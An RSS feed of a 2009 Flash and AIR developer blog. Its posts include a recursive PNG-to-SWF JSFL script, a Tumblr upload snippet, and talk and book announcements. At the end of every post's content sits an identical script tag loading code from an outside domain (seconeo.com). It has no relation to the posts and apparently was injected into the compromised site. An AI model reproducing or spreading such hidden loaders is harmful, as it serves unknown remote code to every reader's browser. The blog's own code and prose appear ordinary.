<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Neglected Code Blog</title>
	<link>http://blog.jeffyamada.com</link>
	<description>Flash, Flex, Actionscript, JSFL, PureMVC and Stuff</description>
	<pubDate>Mon, 13 Apr 2009 23:42:18 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.1</generator>
	<language>en</language>
			<item>
		<title>Recursive PNG to SWF JSFL script - enjoy!</title>
		<link>http://blog.jeffyamada.com/?p=25</link>
		<comments>http://blog.jeffyamada.com/?p=25#comments</comments>
		<pubDate>Mon, 13 Apr 2009 23:38:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[jsfl]]></category>

		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=25</guid>
		<description><![CDATA[So if you haven&#8217;t noticed yet, a swf with a transparent PNG file compiled on the stage at 0,0 is far smaller than a plain old transparent PNG. I don&#8217;t know exactly what Flash is doing to the PNG files, but the file sizes look a lot like JPEG compression sizes, so I suspect it&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>So if you haven&#8217;t noticed yet, a swf with a transparent PNG file compiled on the stage at 0,0 is far smaller than a plain old transparent PNG. I don&#8217;t know exactly what Flash is doing to the PNG files, but the file sizes look a lot like JPEG compression sizes, so I suspect it&#8217;s compressing the PNGs down to JPEGs and adding the alpha layer&#8230;or something like that. This is extremely useful when you need to load many transparent files at runtime.  The problem is that most of the time you get these files in the form of PNGs and I haven&#8217;t found a great way to export SWFs from Photoshop - but I&#8217;m not Photoshop wizard so there might be a way.</p>
<p>Here&#8217;s my way: A nifty JSFL script that recursively searches for PNG files and leaves corresponding SWFs next to them!I&#8217;ve noticed it bog down when trying to handle hundreds and hundreds of larger PNGs, so I highly recommend saving all .FLAs you have open before running this since if it can&#8217;t handle the load - Flash will crash. I&#8217;ll look into a fix for this when I get a moment. Let me know if you think of a good way to prevent it - I haven&#8217;t had a spare moment to take a look.</p>
<p>Save this to your commands folder ( download link after the code ):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
</pre></td><td class="code"><pre class="javascript"><span style="color: #009900; font-style: italic;">// author: Jeff Yamada</span>
<span style="color: #009900; font-style: italic;">// warning: this might destroy your computer</span>
&nbsp;
fl.<span style="color: #006600;">outputPanel</span>.<span style="color: #006600;">clear</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #003366; font-weight: bold;">var</span> dom = fl.<span style="color: #006600;">getDocumentDOM</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #003366; font-weight: bold;">var</span> baseURI = fl.<span style="color: #006600;">browseForFolderURL</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">&quot;Select a folder.&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #003366; font-weight: bold;">var</span> exportedSWFS = <span style="color: #003366; font-weight: bold;">new</span> Array<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #003366; font-weight: bold;">var</span> folderNumber = <span style="color: #CC0000;">0</span>;
&nbsp;
findPNGs<span style="color: #66cc66;">&#40;</span> baseURI <span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> findPNGs<span style="color: #66cc66;">&#40;</span> folderURI <span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> directories = FLfile.<span style="color: #006600;">listFolder</span><span style="color: #66cc66;">&#40;</span> folderURI, <span style="color: #3366CC;">&quot;directories&quot;</span> <span style="color: #66cc66;">&#41;</span>;
	<span style="color: #003366; font-weight: bold;">var</span> files = FLfile.<span style="color: #006600;">listFolder</span><span style="color: #66cc66;">&#40;</span> folderURI + <span style="color: #3366CC;">&quot;/*.png&quot;</span>, <span style="color: #3366CC;">&quot;files&quot;</span> <span style="color: #66cc66;">&#41;</span>;
	<span style="color: #003366; font-weight: bold;">var</span> i;
	<span style="color: #000066; font-weight: bold;">if</span><span style="color: #66cc66;">&#40;</span> directories != <span style="color: #003366; font-weight: bold;">false</span> <span style="color: #66cc66;">&#41;</span>
	<span style="color: #66cc66;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">&#40;</span> i = <span style="color: #CC0000;">0</span>; i &lt; directories.<span style="color: #006600;">length</span>; i ++ <span style="color: #66cc66;">&#41;</span>
		<span style="color: #66cc66;">&#123;</span>
			<span style="color: #003366; font-weight: bold;">var</span> directory = directories<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			<span style="color: #003366; font-weight: bold;">var</span> type = FLfile.<span style="color: #006600;">getAttributes</span><span style="color: #66cc66;">&#40;</span> folderURI + <span style="color: #3366CC;">&quot;/&quot;</span> + directory <span style="color: #66cc66;">&#41;</span>;
			<span style="color: #000066; font-weight: bold;">switch</span><span style="color: #66cc66;">&#40;</span> type <span style="color: #66cc66;">&#41;</span>
			<span style="color: #66cc66;">&#123;</span>
				<span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">&quot;D&quot;</span>:
				<span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">&quot;DH&quot;</span>:
					findPNGs<span style="color: #66cc66;">&#40;</span> folderURI + <span style="color: #3366CC;">&quot;/&quot;</span> + directories<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span> <span style="color: #66cc66;">&#41;</span>;
					<span style="color: #000066; font-weight: bold;">break</span>;
				<span style="color: #003366; font-weight: bold;">default</span>:
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">if</span><span style="color: #66cc66;">&#40;</span> files != <span style="color: #003366; font-weight: bold;">false</span> <span style="color: #66cc66;">&#41;</span>
	<span style="color: #66cc66;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">&#40;</span> i = <span style="color: #CC0000;">0</span>; i &lt; files.<span style="color: #006600;">length</span>; i ++ <span style="color: #66cc66;">&#41;</span>
		<span style="color: #66cc66;">&#123;</span>
			convertPngToSWF<span style="color: #66cc66;">&#40;</span> folderURI, files<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span> <span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
		clearLibrary<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> convertPngToSWF<span style="color: #66cc66;">&#40;</span> pngURI, fileName <span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> swfName = fileName.<span style="color: #006600;">substring</span><span style="color: #66cc66;">&#40;</span> <span style="color: #CC0000;">0</span>, fileName.<span style="color: #006600;">lastIndexOf</span><span style="color: #66cc66;">&#40;</span> <span style="color: #3366CC;">&quot;.&quot;</span> <span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #003366; font-weight: bold;">var</span> swfURI = pngURI + <span style="color: #3366CC;">&quot;/&quot;</span> + swfName + <span style="color: #3366CC;">&quot;.swf&quot;</span>;
	exportedSWFS.<span style="color: #006600;">push</span><span style="color: #66cc66;">&#40;</span> swfURI <span style="color: #66cc66;">&#41;</span>;
	dom.<span style="color: #006600;">importFile</span><span style="color: #66cc66;">&#40;</span> pngURI + <span style="color: #3366CC;">&quot;/&quot;</span> + fileName <span style="color: #66cc66;">&#41;</span>;
	dom.<span style="color: #006600;">exportSWF</span><span style="color: #66cc66;">&#40;</span> swfURI, <span style="color: #003366; font-weight: bold;">true</span> <span style="color: #66cc66;">&#41;</span>;
	clearStage<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> printReport<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#123;</span>
	fl.<span style="color: #006600;">trace</span><span style="color: #66cc66;">&#40;</span> <span style="color: #3366CC;">'==== '</span> + exportedSWFS.<span style="color: #006600;">length</span> + <span style="color: #3366CC;">' swfs created from pngs ===='</span> <span style="color: #66cc66;">&#41;</span>;
	fl.<span style="color: #006600;">trace</span><span style="color: #66cc66;">&#40;</span> exportedSWFS.<span style="color: #006600;">join</span><span style="color: #66cc66;">&#40;</span> <span style="color: #3366CC;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> clearStage<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#123;</span>
	dom.<span style="color: #006600;">selectAll</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	dom.<span style="color: #006600;">deleteSelection</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> clearLibrary<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> libItems = dom.<span style="color: #006600;">library</span>.<span style="color: #006600;">items</span>;
	<span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">&#40;</span> <span style="color: #003366; font-weight: bold;">var</span> i = <span style="color: #CC0000;">0</span>; i &lt; libItems.<span style="color: #006600;">length</span>; i ++ <span style="color: #66cc66;">&#41;</span>
	<span style="color: #66cc66;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> = libItems<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
		dom.<span style="color: #006600;">library</span>.<span style="color: #006600;">newFolder</span><span style="color: #66cc66;">&#40;</span> <span style="color: #3366CC;">&quot;folder&quot;</span>+folderNumber <span style="color: #66cc66;">&#41;</span>;
		dom.<span style="color: #006600;">library</span>.<span style="color: #006600;">moveToFolder</span><span style="color: #66cc66;">&#40;</span> <span style="color: #3366CC;">&quot;folder&quot;</span>+folderNumber, <span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #000066;">name</span> <span style="color: #66cc66;">&#41;</span>;
	<span style="color: #66cc66;">&#125;</span>
	folderNumber++;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
printReport<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p><a href="http://www.jeffyamada.com/jsfl/png2swf.jsfl.zip">png2swf.jsfl.zip</a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=25</wfw:commentRss>
		</item>
		<item>
		<title>TODO://</title>
		<link>http://blog.jeffyamada.com/?p=24</link>
		<comments>http://blog.jeffyamada.com/?p=24#comments</comments>
		<pubDate>Mon, 30 Mar 2009 20:44:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[AIR]]></category>

		<category><![CDATA[Projects]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=24</guid>
		<description><![CDATA[So I tend to use prefixed comments on my own code to remind myself when I&#8217;m putting something off, or I&#8217;ve identified a problem but don&#8217;t have time to fix it. Stuff like //FIXME and //TODO are all over my code with instructions and sometimes even psuedo-code.The big problem for me is that I always [...]]]></description>
			<content:encoded><![CDATA[<p>So I tend to use prefixed comments on my own code to remind myself when I&#8217;m putting something off, or I&#8217;ve identified a problem but don&#8217;t have time to fix it. Stuff like //FIXME and //TODO are all over my code with instructions and sometimes even psuedo-code.The big problem for me is that I always forget where I left these comments. Today I finally took a second to skulk around for a cool eclipse plugin, and with help from a brilliant colleague and friend of mine, <a href="specialrelativity.org/blog">Michael Avila</a></p>
<p><a href="http://www.richinternet.de/blog/index.cfm?entry=911D4B57-0F0D-5A73-AF6F4D4D04099757">http://www.richinternet.de/blog/index.cfm?entry=911D4B57-0F0D-5A73-AF6F4D4D04099757</a><a href="http://www.richinternet.de/blog/index.cfm?entry=911D4B57-0F0D-5A73-AF6F4D4D04099757"></a></p>
<p>So far I&#8217;m LOVING this little plugin. A++!:)</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=24</wfw:commentRss>
		</item>
		<item>
		<title>Flash Clean-up Library JSFL Script</title>
		<link>http://blog.jeffyamada.com/?p=23</link>
		<comments>http://blog.jeffyamada.com/?p=23#comments</comments>
		<pubDate>Mon, 13 Oct 2008 21:37:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=23</guid>
		<description><![CDATA[This is a work in progress, and I&#8217;ll follow up shortly with installation instructions ( maybe even an mxp ) and some updates, but for now enough people ask me for it to justify a hastily written post with a very rough and ugly version of it. It works great for me because if and when [...]]]></description>
			<content:encoded><![CDATA[<p>This is a work in progress, and I&#8217;ll follow up shortly with installation instructions ( maybe even an mxp ) and some updates, but for now enough people ask me for it to justify a hastily written post with a very rough and ugly version of it. It works great for me because if and when I do use Flash I tend to only create movieclips that are linked to classes, it handles some other stuff ok, but occasionally gets confused and doesn&#8217;t put misc items into the misc folder&#8230;enjoy! <a href="http://www.jeffyamada.com/clean_library.zip" title="Clean Library.jsfl zip" target="_blank"> clean_library.zip </a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=23</wfw:commentRss>
		</item>
		<item>
		<title>Speaking &#8220;at&#8221; the Singularity global web conference!</title>
		<link>http://blog.jeffyamada.com/?p=20</link>
		<comments>http://blog.jeffyamada.com/?p=20#comments</comments>
		<pubDate>Wed, 27 Aug 2008 08:02:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[News]]></category>

		<category><![CDATA[AIR]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=20</guid>
		<description><![CDATA[I&#8217;ll be speaking about crazy uses of AIR at the Singularity global web conference! I just got my bio and presentation details up. I think Aral will be posting my pic sometime soon. The conference is unique in that its all over the net, which is really an awesome idea. I&#8217;m looking forward to hearing all the other [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.jeffyamada.com/wp-content/uploads/2008/08/singularity_logo1.jpg" alt="singularity_logo1.jpg" /><br/>I&#8217;ll be speaking about crazy uses of AIR at the <a href="http://www.singularity08.com" title="Singularity global web conference">Singularity global web conference</a>! I just got my <a href="http://www.singularity08.com/speakers/jeff-yamada/" title="bio and presentation details">bio and presentation details</a> up. I think Aral will be posting my pic sometime soon. The conference is unique in that its all over the net, which is really an awesome idea. I&#8217;m looking forward to hearing all the other speakers.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=20</wfw:commentRss>
		</item>
		<item>
		<title>Posting photos to Tumblr from AIR</title>
		<link>http://blog.jeffyamada.com/?p=19</link>
		<comments>http://blog.jeffyamada.com/?p=19#comments</comments>
		<pubDate>Thu, 17 Apr 2008 04:53:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[AIR]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=19</guid>
		<description><![CDATA[I&#8217;m sitting here feeling relatively stupid, and a little ripped off. I invested 4+ hours to do something that I should have been able to figure out in about 5 minutes or less. I have been trying to figure out how to upload an image to Tumblr using their very simple API. After many attempts at sending the [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m sitting here feeling relatively stupid, and a little ripped off. I invested 4+ hours to do something that I should have been able to figure out in about 5 minutes or less. I have been trying to figure out how to upload an image to <a href="http://www.tumblr.com">Tumblr </a>using their very simple <a href="http://www.tumblr.com/api">API</a>. After many attempts at sending the binary data from a ByteArray I finally figured it out&#8230;duh.Of course there are a few ways to obvtain the FileReference object, and also many events to listen to. I&#8217;ll go into detail about all this later maybe, but for now I&#8217;m just going to paste the obvious method for posting images to Tumblr. Here&#8217;s the code: </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="actionscript"><span style="color: #000000; font-weight: bold;">var</span> vars:URLVariables = <span style="color: #000000; font-weight: bold;">new</span> URLVariables<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
vars.<span style="color: #006600;">email</span> = <span style="color: #ff0000;">&quot;your@emailaddress.com&quot;</span>;
vars.<span style="color: #0066CC;">password</span> = <span style="color: #ff0000;">&quot;password&quot;</span>;
vars.<span style="color: #0066CC;">type</span> = <span style="color: #ff0000;">&quot;photo&quot;</span>;
vars.<span style="color: #0066CC;">caption</span> = <span style="color: #ff0000;">&quot;This is the photo caption!&quot;</span>; <span style="color: #808080; font-style: italic;">// optional ( and can use html )</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">var</span> request:URLRequest = <span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span> <span style="color: #ff0000;">&quot;http://www.tumblr.com/api/write&quot;</span> <span style="color: #66cc66;">&#41;</span>;
request.<span style="color: #006600;">method</span> = URLRequestMethod.<span style="color: #006600;">POST</span>;
request.<span style="color: #0066CC;">data</span> = vars;
&nbsp;
file.<span style="color: #006600;">upload</span><span style="color: #66cc66;">&#40;</span> request, <span style="color: #ff0000;">&quot;data&quot;</span> <span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p>Yeah, I know, that was way too obvious, and a lame post, but I am trying to squeeze as much out of my wasted 4 hours as I can, so thanks for reading. <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=19</wfw:commentRss>
		</item>
		<item>
		<title>Speaking tonight at UDFUG</title>
		<link>http://blog.jeffyamada.com/?p=17</link>
		<comments>http://blog.jeffyamada.com/?p=17#comments</comments>
		<pubDate>Thu, 17 Jan 2008 20:09:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[AIR]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=17</guid>
		<description><![CDATA[Its last minute, but I&#8217;ll be sharing the meeting with friend, cohort, and UDFUG manager John Lindquist. I&#8217;ll try and take up 45 minutes talking about AIR windows ( NativeWindow stuff really ) and some fun toys I&#8217;ve made. There will also be a fun little announcement at the meeting ( more on that later [...]]]></description>
			<content:encoded><![CDATA[<p>Its last minute, but I&#8217;ll be sharing the meeting with friend, cohort, and <a href="http://www.udfug.org">UDFUG</a> manager <a href="http://blog.johnlindquist.com">John Lindquist</a>. I&#8217;ll try and take up 45 minutes talking about AIR windows ( NativeWindow stuff really ) and some fun toys I&#8217;ve made. There will also be a fun little announcement at the meeting ( more on that later ).</p>
<p>I think one of the toughest parts of presenting is knowing what your audience already knows. I&#8217;m always afraid I&#8217;m covering material everyone is already well aware of. If anyone reading has any suggestions for going about this I&#8217;d love to hear. I&#8217;ve been writing the AIR Bible for a few months now and am finding the task of delivering content that is useful to both advanced and beginner developers at the same time to be highly challenging. I personally prefer to read something that is a little over my head, I can always re-read it and do the required research and experimentation to try and catch up, but I really don&#8217;t like textbooks that offer little to nothing that isn&#8217;t obvious. I once picked up a C# textbook and was rather disappointed that it spent a whole chapter on Arrays. I don&#8217;t blame the authors really, its really tough to know who your audience is, and there doesn&#8217;t seem to be a very obvious way of separating programming basics from the nature of a specific language or platform.</p>
<p>I&#8217;ll continue on with my struggle to deliver good material for all, but again would love to hear feedback on the subject, thanks in advance!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=17</wfw:commentRss>
		</item>
		<item>
		<title>Firefox 3.0 Beta 2!</title>
		<link>http://blog.jeffyamada.com/?p=16</link>
		<comments>http://blog.jeffyamada.com/?p=16#comments</comments>
		<pubDate>Thu, 20 Dec 2007 05:42:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=16</guid>
		<description><![CDATA[They&#8217;re saying it isn&#8217;t for non-developers at this point so beware. I am downloading it as I type and will post updates as I mess around with it. The release details are here: 
http://developer.mozilla.org/devnews/index.php/2007/12/18/firefox-3-beta-2-now-available-for-download/.
]]></description>
			<content:encoded><![CDATA[<p>They&#8217;re saying it isn&#8217;t for non-developers at this point so beware. I am downloading it as I type and will post updates as I mess around with it. The release details are here: <a href="http://developer.mozilla.org/devnews/index.php/2007/12/18/firefox-3-beta-2-now-available-for-download/"></a></p>
<p><a href="http://developer.mozilla.org/devnews/index.php/2007/12/18/firefox-3-beta-2-now-available-for-download/">http://developer.mozilla.org/devnews/index.php/2007/12/18/firefox-3-beta-2-now-available-for-download/</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=16</wfw:commentRss>
		</item>
		<item>
		<title>Adobe AIR Beta 3 Released!</title>
		<link>http://blog.jeffyamada.com/?p=15</link>
		<comments>http://blog.jeffyamada.com/?p=15#comments</comments>
		<pubDate>Thu, 13 Dec 2007 21:57:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[AIR]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=15</guid>
		<description><![CDATA[Beta 3 is now available on labs. It doesn&#8217;t look like anything major changed, unlike the transition from beta 1 to beta 2 you should be able to migrate pretty easily. I haven&#8217;t seen a nice overview of the changes outside of the release notes so far and the link on devnet introducing 3 is [...]]]></description>
			<content:encoded><![CDATA[<p>Beta 3 is now available on labs. It doesn&#8217;t look like anything major changed, unlike the transition from beta 1 to beta 2 you should be able to migrate pretty easily. I haven&#8217;t seen a nice overview of the changes outside of the <a href="http://labs.adobe.com/wiki/index.php/AIR:Release_Notes">release notes</a> so far and the link on devnet introducing 3 is linking to Mike Chamber&#8217;s beta 2 announcement. I&#8217;ll update as soon as that gets fixed, but so far it looks good and I&#8217;ll be installing today to take it out for a spin. Here&#8217;s where you can get the stuff you need to start working in beta 3:</p>
<p><a href="http://labs.adobe.com/downloads/air.html">The runtime</a> - What you need to run AIR apps.</p>
<p><a href="http://labs.adobe.com/downloads/airsdk.html">The SDK</a> - What you need if you don&#8217;t want to use either Flash CS3, Flex 3 Beta 3, or Dreamweaver</p>
<p><a href="http://labs.adobe.com/technologies/flex/flexbuilder3/">FlexBuilder 3</a> - What I use to develop. I occasionally use FlashDevelop, but rely on FlexBuilder for mostly all my actionscripting.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=15</wfw:commentRss>
		</item>
		<item>
		<title>Adobe AIR Bible</title>
		<link>http://blog.jeffyamada.com/?p=14</link>
		<comments>http://blog.jeffyamada.com/?p=14#comments</comments>
		<pubDate>Thu, 13 Dec 2007 02:07:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[AIR]]></category>

		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=14</guid>
		<description><![CDATA[I&#8217;d like to announce something that I&#8217;ve been working on during the past month that I&#8217;ve been too busy with to announce. You might guess by the title of this post that I&#8217;m co-authoring the Adobe AIR Bible for Wiley Publishing. I&#8217;m excited to be working with Ben Gorton and Ryan Taylor, both colleagues that [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;d like to announce something that I&#8217;ve been working on during the past month that I&#8217;ve been too busy with to announce. You might guess by the title of this post that I&#8217;m co-authoring the Adobe AIR Bible for Wiley Publishing. I&#8217;m excited to be working with Ben Gorton and Ryan Taylor, both colleagues that I met and have the pleasure of working with at <a href="http://www.schematic.com" title="Where I work">Schematic</a>. The Bible has been a lot of work so far, but so far it has been worth it. I really can&#8217;t express how excited I am to hold it in my hands and see it in bookstores, but I have several months of hard work ahead of me that I&#8217;ll be trying to survive.</p>
<p>I really am enjoying working with Ben and Ryan, and all the research and learning that goes into writing. Most of all I&#8217;m really enjoying the aspect of giving back to the Flash/Flex community and contributing to the learning experience of fellow developers. The book is shaping up pretty well and I hope for and look forward to it being as helpful as so many textbooks have been for myself.</p>
<p>We should be on the book shelves sometime in the spring of &#8216;08, so keep an eye out!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=14</wfw:commentRss>
		</item>
		<item>
		<title>Speaking at the LA Web Developer Meetup</title>
		<link>http://blog.jeffyamada.com/?p=12</link>
		<comments>http://blog.jeffyamada.com/?p=12#comments</comments>
		<pubDate>Tue, 16 Oct 2007 04:53:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[AIR]]></category>

		<guid isPermaLink="false">http://blog.jeffyamada.com/?p=12</guid>
		<description><![CDATA[I'll be speaking at the LA Web Developer Meetup in Glendale on October the 23rd. Here's the info: <a href="http://web.meetup.com/34/calendar/6440869/">http://web.meetup.com/34/calendar/6440869/</a>

I'm going to give an ultra quick rundown on getting started with developing applications in the Adobe AIR Platform.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ll be speaking at the LA Web Developer Meetup in Glendale on October the 23rd. Here&#8217;s the info: <a href="http://web.meetup.com/34/calendar/6440869/">http://web.meetup.com/34/calendar/6440869/</a></p>
<p>I&#8217;m going to give an ultra quick rundown on getting started with developing applications in the Adobe AIR Platform. Its supposed to be only 10 minutes with a 5 minutes Q and A, so it will definitely be rapid. I&#8217;m hoping to get to &#8220;Hello World&#8221; at the very least though.</p>
<p>I&#8217;ll actually be jetting back to the FITC after party right after this, but there should be time to get there before the Schematic crew is totally hammered. I&#8217;m looking forward to this insane day!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jeffyamada.com/?feed=rss2&amp;p=12</wfw:commentRss>
		</item>
	</channel>
</rss>
   

